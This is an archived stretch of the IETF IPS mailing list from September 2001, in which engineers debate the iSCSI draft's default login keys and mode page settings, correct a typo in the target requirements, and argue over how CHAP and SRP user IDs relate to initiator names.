<6BD67FFB937FD411A04F00D0B74FE87805CCF11D@xrose06.rose.hp.com> Content-Type: multipart/mixed; boundary="------------8DC00E7AE284DCDDD74BAD03" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------8DC00E7AE284DCDDD74BAD03 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit All, I think we need to discuss the 2 issues of login key defaults & mode page defaults seperately : 1) Defaults on login keys : =================== I am in favor of defining conservative defaults. Those initiators needing additional features should be prepared to do the additional work of negotiating those keys. It should'nt be the other way around. Thus, default settings should be : MaxConnections = 1 FMarker = "no" InitialR2T = "yes" BidiInitialR2T = "yes" ImmediateData = "no" DataPDULength = 16 MaxOutstandingR2T = 1 DataPDUInOrder = "yes" ErrorRecoveryLevel = 0 SessionType = "normal" I'd like to propose one more change that the LogoutLoginMinTime & LogoutLoginMaxTime login keys be removed from the login keys. This is because these key values are only relevant for an initiator re-login following a target originated logout or connection drop (signalled through an async message). The async message does contain these values and thus, it provides no additional value to negotiate these during login. Also to be noted is that LogoutLoginMinTime & LogoutLoginMaxTime are most likely properties of the target device (how long array "xyz" goes out to lunch during certain infamous conditions) as opposed to a value that can be negotiated on a per-initiator basis. 2) Defaults on iscsi mode pages : ======================== Typically, no protocol defaults are specified for mode page settings. Initiators should be able to function correctly without having to do either mode select or mode sense. Any initiator that needs advanced settings should be prepared to do the extra work of issuing mode sense/select to enable these features. It should NOT be the other way around. (i.e. simple initiators should NOT have to first issue a mode select in order to ensure proper operation of their sessions). If the draft does wish to profile a set of recommended defaults for the iscsi, these should be conservative, where they affect the operation of those initiators that do not wish to perform mode select. In particular, the following defaults are required, if it is decided to recommend a profile of default mode page settings : Disconnect-Reconnect Mode Page -------------------------- * EMDP = 0 * MaximumBurstSize = 512 units (as it currently defined. Targets can request less data in its R2T and send shorter data-in sequences, if mode select is not used by initiators to reduce this value.) * FirstBurstSize = 0 The FirstBurstSize ***MUST*** be set to 0 and any initiators wishing to use solicited data MUST first perform mode sense/select operations to query/set these values. The above default setting of 128 is in-appropriate since : a) it can cause erroneous behaviour for those initiators that do not perform mode select to explicitly turn it off, since targets for which un-solicited data is enabled but not used may reject/abort the I/O. b) it forces targets to ensure that 128 * 512 = 64K of un-solicited data is allowed for every logged-in initiator and they have no control over turning this off, since mode select is an initiator-driven operation. Closing the command window causes performance drops and is not a very satisfactory solution to this problem. Logical Unit Control Mode Page ======================== This mode page definition can be removed from the iscsi draft since it governs per-LUN state information and LUN state is the realm of the SCSI ULP. In particular, it is the SCSI ULP that decides whether to enable/disable CRN, since CRN is generated by the SCSI ULP. Thus, it is un-clear why the "Enable CRN" is negotiated at a protocol level & not at a SCSI ULP mode page such as the Control Mode Page. (??). Could anybody comment on why CRN (a ULP feature) needs to be enabled in an iscsi protocol mode page ? Perhaps, for FCP it made sense to negotiate something like "Enable CRN" in FCP specific mode pages, since early revisions of FCP did'nt specify the CRN field in FCP_CMD IU and so, the "Enable Precise Delivery" (EPDC) bit was required to be queried/set using mode sense/select, prior to using CRN. Since iscsi supports CRN in its scsi command pdu from its initial rev, I don't see why "Enable CRN" is needed to be done at the iscsi protocol level. (?). Regards, Santosh "KRUEGER,MARJORIE (HP-Roseville,ex1)" wrote: > I vote for making the exchange of some text parameters MANDATORY, with no > defaults. > > Marj > > > -----Original Message----- > > From: Robert Snively [mailto:rsnively@Brocade.COM] > > Sent: Thursday, September 20, 2001 10:48 AM > > To: 'Sanjeev Bhagat (TRIPACE/Zoetermeer)'; 'Santosh Rao'; IPS > > Reflector > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > It is true that default mode settings for Mode Pages > > are usually arranged between buyer and vendor for > > maximum convenience in the buyer's systems. It is > > generally true that any setting of a Mode Page will > > allow the protocol to operate correctly, except a few, > > notably the first burst size parameter if > > ImmediateData is set to yes. > > > > On the other hand, some of the iSCSI text keyed > > parameters MUST be known before the protocol will > > operate correctly. ImmediateData is certainly > > one of those. As a result, you have two choices: > > > > a) Make the negotiation of all such parameters > > MANDATORY during the login and after any > > reset that may change them, or; > > > > b) Define a default state that will be guaranteed > > unless and until the parameter has been explicitly > > changed. > > > > Your choice. > > > > Bob > > > > > -----Original Message----- > > > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > > [mailto:sbhagat@tripace.com] > > > Sent: Thursday, September 20, 2001 6:59 AM > > > To: 'Santosh Rao'; IPS Reflector > > > Subject: RE: iscsi : default iscsi mode page settings. > > > > > > > > > Santosh, > > > > > > Where did you find these SCSI Mode page settings? At least I > > > could not find > > > it in SAM-2 document? The mode select command is available in > > > SPI documents > > > but they are meant for particular SCSI device and not for > > > iSCSI device? > > > > > > Be it whatever the case I would like to ask why the default value of > > > MaximumBurstSize is 512 units and why is the default value of > > > FirstBurstSize > > > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > > > revisions so setting the default value of FirstBurstSize to > > > 128 units means > > > 65536 bytes or 64K Bytes and similarly the value of > > > Maximumburstsize is 256K > > > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > > > > > Sanjeev > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Thursday, September 20, 2001 2:04 AM > > > To: IPS Reflector > > > Subject: iscsi : default iscsi mode page settings. > > > > > > > > > All, > > > > > > Speaking on the subject of default settings, some questions > > on recent > > > changes to the iscsi mode select pages...... > > > > > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call > > > out default > > > values for the iscsi mode pages. Per my understanding, there are no > > > defaults for SCSI mode pages, and all the setting are assumed to be > > > disabled, unless explicitly turned on/enabled through a mode select. > > > > > > IOW, the keys in scsi mode pages are defined to be enabling certain > > > features and the default settings are that these features are > > > turned off > > > unless a mode select is explicitly used to enable them. > > > > > > However, the iscsi mode pages seems to be using the opposite > > > policy and > > > is advertising default settings for mode pages, that too, > > > agreesive ones > > > at that! IOW, an initiator implemenation has to explicitly > > > issue a mode > > > select to disable/turn_off features rather than issue a > > mode select to > > > turn them on. > > > > > > Here's a few examples : > > > > > > * default MaximumBurstSize : 512 units > > > * default EMDP : 1 (i.e. modify data pointers is enabled > > by default > > > !) > > > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > > > solicited > > > data, unless they explicitly turn it off using mode > > > select, since, > > > not > > > sending solicited data when it has been negotiated > > > implies a target > > > may > > > abort the I/O. > > > > > > I suggest that in keeping with the scsi mode pages, NO > > > default settings > > > be advertised for any iscsi mode > > > pages. i.e. all defaults are conservative (set to 0), unless > > > explicitly > > > turned on thru a mode select. > > > > > > Comments ? > > > > > > Regards, > > > Santosh > > > > > > "Mallikarjun C." wrote: > > > > > > > Matthew, > > > > > > > > I completely agree that the default should be "no"! I > > pointed this > > > > out sometime ago myself. Apart from what you point out, > > the default > > > > setting for "ImmediateData" seems to be at variance with the > > > > conservative default for "InitialR2T" ("yes"). > > > > > > > > Julian, could you please consider this request? > > > > > > > > Regards. > > > > -- > > > > Mallikarjun > > > > > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > > > > > Julian, > > > > > > > > > > Appendix D24 (ImmediateData) does not describe the result of > > > negotiation if > > > > > the two sides differ. I presume that since the default is "yes", > > > then only > > > > > if both sides agree to "no" is immediate data turned > > off. Please > > > can this > > > > > be stated. > > > > > > > > > > Additionally, I feel that the default value for > > > ImmediateData should > > > be > > > > > "no". > > > > > > > > > > Similarly, there is no statement on MaxOutstandingR2T. > > Presumable > > > the > > > > > minimum is selected. > > > > > > > > --------------8DC00E7AE284DCDDD74BAD03 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------8DC00E7AE284DCDDD74BAD03-- From owner-ips@ece.cmu.edu Thu Sep 20 20:49:26 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA27342 for ; Thu, 20 Sep 2001 20:49:26 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KNtb521651 for ips-outgoing; Thu, 20 Sep 2001 19:55:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KNtaP21647 for ; Thu, 20 Sep 2001 19:55:36 -0400 (EDT) Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190]) by atlrel6.hp.com (Postfix) with ESMTP id 6D4621F7A1; Thu, 20 Sep 2001 19:55:25 -0400 (EDT) Received: from xatlbh3.atl.hp.com (xatlbh3.atl.hp.com [15.45.89.188]) by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 5D6351F541; Thu, 20 Sep 2001 19:55:22 -0400 (EDT) Received: by xatlbh3.atl.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 19:55:15 -0400 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF124@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "'Thomas Dineen'" , Julian Satran , ips@ece.cmu.edu Subject: RE: iSCSI - Another Typo? Date: Thu, 20 Sep 2001 19:55:12 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk You are correct, this should have read "The TSID name space of the iSCSI target"... This is already corrected in the latest edit (07-95). Marj > -----Original Message----- > From: Thomas Dineen [mailto:tdineen@redswitch.com] > Sent: Thursday, September 20, 2001 4:12 PM > To: Julian Satran; ips@ece.cmu.edu; Thomas Dineen > Subject: iSCSI - Another Typo? > > > Julian: > > Refering to iSCSI-07 bottom of Page 38: > > iSCSI Target Requirements: > > a) The iSCSI Name should be configurable > parameter of each > target portal group. > b) The TSID name space of the iSCSI "Initiator" > should be > partitioned among the target portal groups. > > Refering to the quoted text, do you not mean Target? After all this > section is titled iSCSI Target Requirements. > > Thanks for the help. > Thomas Dineen > From owner-ips@ece.cmu.edu Thu Sep 20 20:51:22 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA27406 for ; Thu, 20 Sep 2001 20:51:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KNtto21675 for ips-outgoing; Thu, 20 Sep 2001 19:55:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KNtrP21668 for ; Thu, 20 Sep 2001 19:55:53 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 19:58:00 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD778@CORPMX14> From: Black_David@emc.com To: hufferd@us.ibm.com, ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Date: Thu, 20 Sep 2001 19:48:33 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > You would certainly want the end-user or administrator to have the > capability of not entering the UserID if it is the same as > the iSCSI Node Name. Sounds like a simple checkbox in a management GUI, or a switch on a command line or ... > I just think it would be useful and simpler, to include in our > documentation a statement that says that the Default for U= or N > = etc., if not entered, is the iSCSI Initiator Node Name. I disagree - all the authentication parameters need to be present, and management tools are quite capable of doing a string copy. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Thursday, September 20, 2001 2:45 PM > To: CONGDON,PAUL (HP-Roseville,ex1) > Cc: ietf-ips; 'Steve Senum' > Subject: RE: iSCSI: U= in Authentication > > > > Paul, Steve, > I understand your point, however, with duplication you often > cause hard to > detect errors. Often I have looked at two similar strings > and have had > difficulty in seeing minor differences in them. When > administrators, or > end-users are the ones that are attempting to enter what > maybe very long > strings (in the case of iSCSI Initiator Node Names), you can > imagine the > finger checks maybe an important problem. > > Also if you think through the process of how a UserID is > obtained, by the > Initiator, you see that it is the end-user/administrator that > must enter > the value. > > You would certainly want the end-user or administrator to have the > capability of not entering the UserID if it is the same as > the iSCSI Node > Name. In this case, a good implementation (if the UserID is > not entered) > will include code to find and replicate the iSCSI Initiator > Node Name as a > UserID. Again, this is not a hard problem, just another > thing to handle. > > I just think it would be useful and simpler, to include in our > documentation a statement that says that the Default for U= or N > = etc., if not entered, is the iSCSI Initiator Node Name. > > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > "CONGDON,PAUL (HP-Roseville,ex1)" on 09/20/2001 > 10:13:57 AM > > To: "'Steve Senum'" , John Hufferd/San > Jose/IBM@IBMUS > cc: ietf-ips > Subject: RE: iSCSI: U= in Authentication > > > > > I agree with Steve here. The most likely deployment will be to use > InitiatorName as UserID whenever possible, but it doesn't > seem necessary to > force that or allow the option to omit a name in one phase or another. > > Paul > > -----Original Message----- > From: Steve Senum [mailto:ssenum@cisco.com] > Sent: Thursday, September 20, 2001 9:38 AM > To: John Hufferd > Cc: ietf-ips > Subject: Re: iSCSI: U= in Authentication > > > John, > > My opinion on this is: > > What you are calling the UserID (i.e., U= > for SRP, N= for CHAP), could be the same > as the iSCSI Initiator Name, but it should not > be required to be so. > > I see the N= within CHAP (or U= for SRP) > being used for authentication, the process of verifying the > Initiator is who it claims to be. I also see it as > an integral part of the chosen AuthMethod. > > I see the InitiatorName= being used for > authorization, the process of verifying what > resources the Initiator can access. > > There are two reasons I can think of that > the two names would be different: > > 1. The particular AuthMethod, or the implementation > of some third party authentication server, might > restrict what form a name can take that is not > compatible with iSCSI naming. > > 2. A group of Initiators might be configured to > use the same name for authentication purposes, > simply because they are being managed as a group > for authentication purposes. > > Steve Senum > > John Hufferd wrote: > > > > OK then Steve, and others I would be interested in your > answers to the > > following questions: > > > > If the UserID is exactly the same as the iSCSI Initiator > Name, why would > it > > be entered again? > > > > If the UserID is different, why was the iSCSI initiator > Name required? > It > > is only used as: > > 1. A unique string that can ensure that the full Session > identification > is > > unique, The UserID can do that. > > 2. As an Authentication String. The UserID can do that. > > > > If the same users wants access to different storage from different > systems, > > that user can have a unique UserID for each system. > > > > If the User wants the same storage access from different systems, > serially, > > then that user can use the same UserID on each system. > > > > So is the UserID a substitute for iSCSI Initiator Name? > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > Steve Senum @ece.cmu.edu on 09/19/2001 03:27:08 PM > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: ietf-ips > > cc: > > Subject: Re: iSCSI: U= in Authentication > > > > I don't think it should be possible to omit > > the usernames for AuthMethods SRP and CHAP. > > > > On the SRP and CHAP key names, I am mostly netural, > > though I would prefer ChapId instead of ChapID. > > Since they are AuthMethod specific though, I don't > > really see the need to change them. > > > > Steve Senum > > > > "CONGDON,PAUL (HP-Roseville,ex1)" wrote: > > > > > > I agree that more clarification regarding how to > associate SCSI Names > > with > > > user identities should be provided. I'm not sure if I > agree that it > > should > > > be possible to omit the names entirely - however. This > would provide > > > another optional way to approach the exchange (may > provide or may not) > > which > > > adds complexity to this portion of the code, more test cases, more > > > unnecessary options, etc.. As you've mentioned it may also be > different > > > depending upon the authentication method in use. There is > certainly > room > > for > > > improvement here. > > > > > > I have a bit of a gripe about the key=value pairs during > authentication > > > phase in general. First of all, the key names are not very > descriptive, > > > which defeats the purpose of using Text keys in the first > place (in my > > > opinion). Secondly and more importantly, there are key > values that are > > not > > > unique and depend upon what authentication method is in > progress in > order > > to > > > decode/parse them. For example, A=5 in CHAP for > algorithm selection is > > > completely different that A=2345 in SRP. Also > N=initiatorName in CHAP > is > > > totally different than N=5678 in SRP. It would be much > easier if the > > text > > > command parser didn't have to consider what > authentication method was > > > running and that all key values were unique. Thus I > propose making the > > > following name changes to CHAP and SRP key values. I'm not too > concerned > > > about the exact key names used, just that they are > somewhat descriptive > > and > > > unique. > > > > > > CHAP Key Values > > > > > > Old New > > > --- -------- > > > A ChapAlgorithm > > > I ChapID > > > N ChapUser > > > C ChapChallenge > > > R ChapResponse > > > > > > SRP Key Values > > > > > > Old New > > > --- --- > > > U SrpUser > > > N SrpSafePrime > > > g SrpGenerator > > > s SrpSalt > > > A SrpPubKeyA > > > B SrpPubKeyB > > > M SrpSessionKey > > > HM SrpKeyProof > > > > > > Paul > > > > > > +------------------------------------------+ > > > Paul Congdon > > > HP ProCurve Networking > > > Hewlett Packard Company > > > 8000 Foothills Blvd - M/S 5662 > > > Roseville, CA 95747 > > > phone: 916-785-5753 > > > email: paul_congdon@hp.com > > > +------------------------------------------+ > > > > > > -----Original Message----- > > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > > Sent: Tuesday, September 18, 2001 6:22 PM > > > To: Julian Satran; Ofer_Biran/Haifa/IBM%IBMUS; mbakke@cisco.com; > > > jtseng@NishanSystems.com > > > Cc: ips@ece.cmu.edu > > > Subject: iSCSI: U= in Authentication > > > > > > Folks, > > > I think we should indicate in the Security section of the > document how > > the > > > security Authentication process might validate that the > iSCSI Initiator > > > Name sent in the Initial Login, has something approprate > to do with the > > > "user" being authenticated. (Otherwise, you could > authenticate a user > > and > > > that user could claim/use any iSCSI Initiator Name in the > InitiatorName > > > key=value pair. > > > > > > It is kind of obvious how to relate the U= to the approprate > iSCSI > > > Initiator Name (in the case of SRP), and little less > obvious with Chap, > > > though I think it would be the N= parameter. However, > it is really > > not > > > obvious when using Kerberos, and SPKM. > > > > > > It also should be possible for the initiator not to send another > UserID, > > if > > > the Security Data Base the customer uses can support the iSCSI > Initiator > > > Name as a UserID. That is, it should be possible for the U= > > > parameter not to be sent,and have that imply the value > of is > the > > > iSCSI Initiator Node Name entered previously as a value in the > > InitiaorName > > > key=value pair. Same way with the N= in Chap. > > > > > > However, it is not clear, how you do similar things with > Kerberos, and > > > SPKM. > > > > > > What do you folks think about this, and how should we document it? > > > > > > . > > > . > > > . > > > John L. Hufferd > > > Senior Technical Staff Member (STSM) > > > IBM/SSG San Jose Ca > > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > > Home Office (408) 997-6136 > > > Internet address: hufferd@us.ibm.com > > > From owner-ips@ece.cmu.edu Thu Sep 20 21:24:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA27617 for ; Thu, 20 Sep 2001 21:24:10 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8L0KgR22881 for ips-outgoing; Thu, 20 Sep 2001 20:20:42 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e33.bld.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8L0KeP22877 for ; Thu, 20 Sep 2001 20:20:40 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e33.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id TAA59104; Thu, 20 Sep 2001 19:18:20 -0500 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8L0JMN110180; Thu, 20 Sep 2001 18:19:22 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI: U= in Authentication To: Black_David@emc.com Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Thu, 20 Sep 2001 17:18:48 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/20/2001 06:19:21 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, I said that the code is not hard, however, the GUI will have to span the users normal Password handling system (since I am sure that a good GUI would want to check it out), and it needs to know where the iSCSI Initiator Node Names are stored etc. Again not hard, just a little bit more then most folks thought about. Again, I do not think the GUI part is important, every vendor will do it better then every other vendor. What I don't understand is why not have the target copy the string from the TargetName= string to the U= string. That has got to be the simplest thing to do. Why have both strings transferred and then have to explain to every one why the Target cant just do the simple string copy you mentioned. Not doing that seem kind of dull. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Black_David@emc.com on 09/20/2001 04:48:33 PM To: John Hufferd/San Jose/IBM@IBMUS, ips@ece.cmu.edu cc: Subject: RE: iSCSI: U= in Authentication > You would certainly want the end-user or administrator to have the > capability of not entering the UserID if it is the same as > the iSCSI Node Name. Sounds like a simple checkbox in a management GUI, or a switch on a command line or ... > I just think it would be useful and simpler, to include in our > documentation a statement that says that the Default for U= or N > = etc., if not entered, is the iSCSI Initiator Node Name. I disagree - all the authentication parameters need to be present, and management tools are quite capable of doing a string copy. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Thursday, September 20, 2001 2:45 PM > To: CONGDON,PAUL (HP-Roseville,ex1) > Cc: ietf-ips; 'Steve Senum' > Subject: RE: iSCSI: U= in Authentication > > > > Paul, Steve, > I understand your point, however, with duplication you often > cause hard to > detect errors. Often I have looked at two similar strings > and have had > difficulty in seeing minor differences in them. When > administrators, or > end-users are the ones that are attempting to enter what > maybe very long > strings (in the case of iSCSI Initiator Node Names), you can > imagine the > finger checks maybe an important problem. > > Also if you think through the process of how a UserID is > obtained, by the > Initiator, you see that it is the end-user/administrator that > must enter > the value. > > You would certainly want the end-user or administrator to have the > capability of not entering the UserID if it is the same as > the iSCSI Node > Name. In this case, a good implementation (if the UserID is > not entered) > will include code to find and replicate the iSCSI Initiator > Node Name as a > UserID. Again, this is not a hard problem, just another > thing to handle. > > I just think it would be useful and simpler, to include in our > documentation a statement that says that the Default for U= or N > = etc., if not entered, is the iSCSI Initiator Node Name. > > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > "CONGDON,PAUL (HP-Roseville,ex1)" on 09/20/2001 > 10:13:57 AM > > To: "'Steve Senum'" , John Hufferd/San > Jose/IBM@IBMUS > cc: ietf-ips > Subject: RE: iSCSI: U= in Authentication > > > > > I agree with Steve here. The most likely deployment will be to use > InitiatorName as UserID whenever possible, but it doesn't > seem necessary to > force that or allow the option to omit a name in one phase or another. > > Paul > > -----Original Message----- > From: Steve Senum [mailto:ssenum@cisco.com] > Sent: Thursday, September 20, 2001 9:38 AM > To: John Hufferd > Cc: ietf-ips > Subject: Re: iSCSI: U= in Authentication > > > John, > > My opinion on this is: > > What you are calling the UserID (i.e., U= > for SRP, N= for CHAP), could be the same > as the iSCSI Initiator Name, but it should not > be required to be so. > > I see the N= within CHAP (or U= for SRP) > being used for authentication, the process of verifying the > Initiator is who it claims to be. I also see it as > an integral part of the chosen AuthMethod. > > I see the InitiatorName= being used for > authorization, the process of verifying what > resources the Initiator can access. > > There are two reasons I can think of that > the two names would be different: > > 1. The particular AuthMethod, or the implementation > of some third party authentication server, might > restrict what form a name can take that is not > compatible with iSCSI naming. > > 2. A group of Initiators might be configured to > use the same name for authentication purposes, > simply because they are being managed as a group > for authentication purposes. > > Steve Senum > > John Hufferd wrote: > > > > OK then Steve, and others I would be interested in your > answers to the > > following questions: > > > > If the UserID is exactly the same as the iSCSI Initiator > Name, why would > it > > be entered again? > > > > If the UserID is different, why was the iSCSI initiator > Name required? > It > > is only used as: > > 1. A unique string that can ensure that the full Session > identification > is > > unique, The UserID can do that. > > 2. As an Authentication String. The UserID can do that. > > > > If the same users wants access to different storage from different > systems, > > that user can have a unique UserID for each system. > > > > If the User wants the same storage access from different systems, > serially, > > then that user can use the same UserID on each system. > > > > So is the UserID a substitute for iSCSI Initiator Name? > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > Steve Senum @ece.cmu.edu on 09/19/2001 03:27:08 PM > > > > Sent by: owner-ips@ece.cmu.edu > > > > To: ietf-ips > > cc: > > Subject: Re: iSCSI: U= in Authentication > > > > I don't think it should be possible to omit > > the usernames for AuthMethods SRP and CHAP. > > > > On the SRP and CHAP key names, I am mostly netural, > > though I would prefer ChapId instead of ChapID. > > Since they are AuthMethod specific though, I don't > > really see the need to change them. > > > > Steve Senum > > > > "CONGDON,PAUL (HP-Roseville,ex1)" wrote: > > > > > > I agree that more clarification regarding how to > associate SCSI Names > > with > > > user identities should be provided. I'm not sure if I > agree that it > > should > > > be possible to omit the names entirely - however. This > would provide > > > another optional way to approach the exchange (may > provide or may not) > > which > > > adds complexity to this portion of the code, more test cases, more > > > unnecessary options, etc.. As you've mentioned it may also be > different > > > depending upon the authentication method in use. There is > certainly > room > > for > > > improvement here. > > > > > > I have a bit of a gripe about the key=value pairs during > authentication > > > phase in general. First of all, the key names are not very > descriptive, > > > which defeats the purpose of using Text keys in the first > place (in my > > > opinion). Secondly and more importantly, there are key > values that are > > not > > > unique and depend upon what authentication method is in > progress in > order > > to > > > decode/parse them. For example, A=5 in CHAP for > algorithm selection is > > > completely different that A=2345 in SRP. Also > N=initiatorName in CHAP > is > > > totally different than N=5678 in SRP. It would be much > easier if the > > text > > > command parser didn't have to consider what > authentication method was > > > running and that all key values were unique. Thus I > propose making the > > > following name changes to CHAP and SRP key values. I'm not too > concerned > > > about the exact key names used, just that they are > somewhat descriptive > > and > > > unique. > > > > > > CHAP Key Values > > > > > > Old New > > > --- -------- > > > A ChapAlgorithm > > > I ChapID > > > N ChapUser > > > C ChapChallenge > > > R ChapResponse > > > > > > SRP Key Values > > > > > > Old New > > > --- --- > > > U SrpUser > > > N SrpSafePrime > > > g SrpGenerator > > > s SrpSalt > > > A SrpPubKeyA > > > B SrpPubKeyB > > > M SrpSessionKey > > > HM SrpKeyProof > > > > > > Paul > > > > > > +------------------------------------------+ > > > Paul Congdon > > > HP ProCurve Networking > > > Hewlett Packard Company > > > 8000 Foothills Blvd - M/S 5662 > > > Roseville, CA 95747 > > > phone: 916-785-5753 > > > email: paul_congdon@hp.com > > > +------------------------------------------+ > > > > > > -----Original Message----- > > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > > Sent: Tuesday, September 18, 2001 6:22 PM > > > To: Julian Satran; Ofer_Biran/Haifa/IBM%IBMUS; mbakke@cisco.com; > > > jtseng@NishanSystems.com > > > Cc: ips@ece.cmu.edu > > > Subject: iSCSI: U= in Authentication > > > > > > Folks, > > > I think we should indicate in the Security section of the > document how > > the > > > security Authentication process might validate that the > iSCSI Initiator > > > Name sent in the Initial Login, has something approprate > to do with the > > > "user" being authenticated. (Otherwise, you could > authenticate a user > > and > > > that user could claim/use any iSCSI Initiator Name in the > InitiatorName > > > key=value pair. > > > > > > It is kind of obvious how to relate the U= to the approprate > iSCSI > > > Initiator Name (in the case of SRP), and little less > obvious with Chap, > > > though I think it would be the N= parameter. However, > it is really > > not > > > obvious when using Kerberos, and SPKM. > > > > > > It also should be possible for the initiator not to send another > UserID, > > if > > > the Security Data Base the customer uses can support the iSCSI > Initiator > > > Name as a UserID. That is, it should be possible for the U= > > > parameter not to be sent,and have that imply the value > of is > the > > > iSCSI Initiator Node Name entered previously as a value in the > > InitiaorName > > > key=value pair. Same way with the N= in Chap. > > > > > > However, it is not clear, how you do similar things with > Kerberos, and > > > SPKM. > > > > > > What do you folks think about this, and how should we document it? > > > > > > . > > > . > > > . > > > John L. Hufferd > > > Senior Technical Staff Member (STSM) > > > IBM/SSG San Jose Ca > > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > > Home Office (408) 997-6136 > > > Internet address: hufferd@us.ibm.com > > > From owner-ips@ece.cmu.edu Thu Sep 20 21:27:09 2001 